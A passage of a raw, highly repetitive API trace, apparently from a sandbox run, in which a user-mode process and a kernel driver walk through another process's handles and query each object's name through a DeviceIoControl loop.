Flags=0x0, Size=0x808) returned 0x190b20 [0071.519] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0xe6, lpOverlapped=0x0) returned 1 [0071.519] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0071.519] PsAcquireProcessExitSynchronization () returned 0x0 [0071.519] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054f85d0) [0071.519] ObReferenceObjectByHandle (in: Handle=0x117c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8002086070, HandleInformation=0x0) returned 0x0 [0071.519] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0071.519] PsReleaseProcessExitSynchronization () returned 0x2 [0071.519] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x199 [0071.519] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80039d3044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa80039d3044, ReturnLength=0xfffff880054f8508) returned 0x0 [0071.519] ObfDereferenceObject (Object=0xfffffa8002086070) returned 0x2 [0071.519] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0071.519] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0071.519] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0071.519] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0071.519] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0071.519] PsAcquireProcessExitSynchronization () returned 0x0 [0071.519] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054f85d0) [0071.520] ObReferenceObjectByHandle (in: Handle=0x1184, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a0023031e0, HandleInformation=0x0) returned 0x0 [0071.520] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0071.520] PsReleaseProcessExitSynchronization () returned 0x2 [0071.520] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x199 [0071.520] ObQueryNameString (in: Object=0xfffff8a0023031e0, ObjectNameInfo=0xfffffa80039d4044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80039d4044, ReturnLength=0xfffff880054f8550) returned 0x0 [0071.520] ObfDereferenceObject (Object=0xfffff8a0023031e0) returned 0x1 [0071.520] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0071.520] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0071.520] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0071.520] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0xe2, lpOverlapped=0x0) returned 1 [0071.520] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0071.520] PsAcquireProcessExitSynchronization () returned 0x0 [0071.520] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054f85d0) [0071.520] ObReferenceObjectByHandle (in: Handle=0x1188, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8002086260, HandleInformation=0x0) returned 0x0 [0071.520] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0071.520] PsReleaseProcessExitSynchronization () returned 0x2 [0071.520] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x199 [0071.520] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80039d5044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa80039d5044, ReturnLength=0xfffff880054f8508) returned 0x0 [0071.520] ObfDereferenceObject (Object=0xfffffa8002086260) returned 0x2 [0071.520] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0071.520] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0071.520] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0071.520] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0071.520] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0071.520] PsAcquireProcessExitSynchronization () returned 0x0 [0071.520] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054f85d0) [0071.520] ObReferenceObjectByHandle (in: Handle=0x118c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a00231db20, HandleInformation=0x0) returned 0x0 [0071.520] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0071.520] PsReleaseProcessExitSynchronization () returned 0x2 [0071.520] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x199 [0071.520] ObQueryNameString (in: Object=0xfffff8a00231db20, ObjectNameInfo=0xfffffa80039d6044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80039d6044, ReturnLength=0xfffff880054f8550) returned 0x0 [0071.520] ObfDereferenceObject (Object=0xfffff8a00231db20) returned 0x1 [0071.520] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0071.520] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0071.521] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0071.521] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0071.521] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0071.521] PsAcquireProcessExitSynchronization () returned 0x0 [0071.521] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054f85d0) [0071.521] ObReferenceObjectByHandle (in: Handle=0x1190, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a002366820, HandleInformation=0x0) returned 0x0 [0071.521] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0071.521] PsReleaseProcessExitSynchronization () returned 0x2 [0071.521] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x199 [0071.521] ObQueryNameString (in: Object=0xfffff8a002366820, ObjectNameInfo=0xfffffa80039d7044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80039d7044, ReturnLength=0xfffff880054f8550) returned 0x0 [0071.521] ObfDereferenceObject (Object=0xfffff8a002366820) returned 0x1 [0071.521] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0071.521] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0071.521] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0071.521] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0071.521] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0071.521] PsAcquireProcessExitSynchronization () returned 0x0 [0071.521] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054f85d0) [0071.521] ObReferenceObjectByHandle (in: Handle=0x1194, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a002360820, HandleInformation=0x0) returned 0x0 [0071.521] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0071.521] PsReleaseProcessExitSynchronization () returned 0x2 [0071.521] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x199 [0071.521] ObQueryNameString (in: Object=0xfffff8a002360820, ObjectNameInfo=0xfffffa80039d8044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80039d8044, ReturnLength=0xfffff880054f8550) returned 0x0 [0071.521] ObfDereferenceObject (Object=0xfffff8a002360820) returned 0x1 [0071.521] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0071.521] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0071.521] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0071.521] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0xe2, lpOverlapped=0x0) returned 1 [0071.521] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0071.521] PsAcquireProcessExitSynchronization () returned 0x0 [0071.521] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054f85d0) [0071.521] ObReferenceObjectByHandle (in: Handle=0x1198, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8002184a20, HandleInformation=0x0) returned 0x0 [0071.521] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0071.522] PsReleaseProcessExitSynchronization () returned 0x2 [0071.522] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x199 [0071.522] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80039d9044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa80039d9044, ReturnLength=0xfffff880054f8508) returned 0x0 [0071.522] ObfDereferenceObject (Object=0xfffffa8002184a20) returned 0x2 [0071.522] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0071.522] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0071.522] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0071.522] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0xe4, lpOverlapped=0x0) returned 1 [0071.522] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0071.522] PsAcquireProcessExitSynchronization () returned 0x0 [0071.522] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054f85d0) [0071.522] ObReferenceObjectByHandle (in: Handle=0x11a4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80021848d0, HandleInformation=0x0) returned 0x0 [0071.522] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0071.522] PsReleaseProcessExitSynchronization () returned 0x2 [0071.522] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x199 [0071.522] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80039c5044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa80039c5044, ReturnLength=0xfffff880054f8508) returned 0x0 [0071.522] ObfDereferenceObject (Object=0xfffffa80021848d0) returned 0x2 [0071.522] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0071.522] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0071.522] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0071.522] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0071.522] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0071.522] PsAcquireProcessExitSynchronization () returned 0x0 [0071.522] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054f85d0) [0071.522] ObReferenceObjectByHandle (in: Handle=0x11b0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a00233f9a0, HandleInformation=0x0) returned 0x0 [0071.522] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0071.522] PsReleaseProcessExitSynchronization () returned 0x2 [0071.522] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x199 [0071.522] ObQueryNameString (in: Object=0xfffff8a00233f9a0, ObjectNameInfo=0xfffffa80039f37c4, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80039f37c4, ReturnLength=0xfffff880054f8550) returned 0x0 [0071.522] ObfDereferenceObject (Object=0xfffff8a00233f9a0) returned 0x1 [0071.522] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0071.523] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0071.523] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0071.523] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0xe2, lpOverlapped=0x0) returned 1 [0071.523] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0071.523] PsAcquireProcessExitSynchronization () returned 0x0 [0071.523] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054f85d0) [0071.523] ObReferenceObjectByHandle (in: Handle=0x11b4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80019e4d10, HandleInformation=0x0) returned 0x0 [0071.523] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0071.523] PsReleaseProcessExitSynchronization () returned 0x2 [0071.523] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x199 [0071.523] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80039c1044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa80039c1044, ReturnLength=0xfffff880054f8508) returned 0x0 [0071.523] ObfDereferenceObject (Object=0xfffffa80019e4d10) returned 0x2 [0071.523] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0071.523] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0071.523] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0071.523] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0xe4, lpOverlapped=0x0) returned 1 [0071.523] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0071.523] PsAcquireProcessExitSynchronization () returned 0x0 [0071.523] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054f85d0) [0071.523] ObReferenceObjectByHandle (in: Handle=0x11bc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa800216cba0, HandleInformation=0x0) returned 0x0 [0071.523] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0071.523] PsReleaseProcessExitSynchronization () returned 0x2 [0071.523] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x199 [0071.523] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80039c0044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa80039c0044, ReturnLength=0xfffff880054f8508) returned 0x0 [0071.523] ObfDereferenceObject (Object=0xfffffa800216cba0) returned 0x2 [0071.523] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0071.523] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0071.523] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0071.523] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0xe2, lpOverlapped=0x0) returned 1 [0071.523] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0071.523] PsAcquireProcessExitSynchronization () returned 0x0 [0071.523] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054f85d0) [0071.523] ObReferenceObjectByHandle (in: Handle=0x11c8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80024198e0, HandleInformation=0x0) returned 0x0 [0071.524] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0071.524] PsReleaseProcessExitSynchronization () returned 0x2 [0071.524] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x199 [0071.524] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80039bf044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa80039bf044, ReturnLength=0xfffff880054f8508) returned 0x0 [0071.524] ObfDereferenceObject (Object=0xfffffa80024198e0) returned 0x1 [0071.524] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0071.524] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0071.524] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0071.524] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0xf4, lpOverlapped=0x0) returned 1 [0071.524] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0071.524] PsAcquireProcessExitSynchronization () returned 0x0 [0071.524] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054f85d0) [0071.524] ObReferenceObjectByHandle (in: Handle=0x11d4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8001ef8070, HandleInformation=0x0) returned 0x0 [0071.524] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0071.524] PsReleaseProcessExitSynchronization () returned 0x2 [0071.524] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x199 [0071.524] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80039be044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa80039be044, ReturnLength=0xfffff880054f8508) returned 0x0 [0071.524] ObfDereferenceObject (Object=0xfffffa8001ef8070) returned 0x1 [0071.524] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0071.524] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0071.524] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0071.524] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0xe6, lpOverlapped=0x0) returned 1 [0071.524] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0071.524] PsAcquireProcessExitSynchronization () returned 0x0 [0071.524] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054f85d0) [0071.524] ObReferenceObjectByHandle (in: Handle=0x11d8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8002086070, HandleInformation=0x0) returned 0x0 [0071.524] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0071.524] PsReleaseProcessExitSynchronization () returned 0x2 [0071.524] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x199 [0071.524] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80039bd044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa80039bd044, ReturnLength=0xfffff880054f8508) returned 0x0 [0071.524] ObfDereferenceObject (Object=0xfffffa8002086070) returned 0x2 [0071.524] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0071.524] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0071.524] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0071.525] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0071.525] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0071.525] PsAcquireProcessExitSynchronization () returned 0x0 [0071.525] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054f85d0) [0071.525] ObReferenceObjectByHandle (in: Handle=0x11dc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a00230b710, HandleInformation=0x0) returned 0x0 [0071.525] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0071.525] PsReleaseProcessExitSynchronization () returned 0x2 [0071.525] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x199 [0071.525] ObQueryNameString (in: Object=0xfffff8a00230b710, ObjectNameInfo=0xfffffa8003982044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003982044, ReturnLength=0xfffff880054f8550) returned 0x0 [0071.525] ObfDereferenceObject (Object=0xfffff8a00230b710) returned 0x1 [0071.525] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0071.525] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0071.525] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0071.525] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0xe6, lpOverlapped=0x0) returned 1 [0071.525] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0071.525] PsAcquireProcessExitSynchronization () returned 0x0 [0071.525] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054f85d0) [0071.525] ObReferenceObjectByHandle (in: Handle=0x11e0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa800219b570, 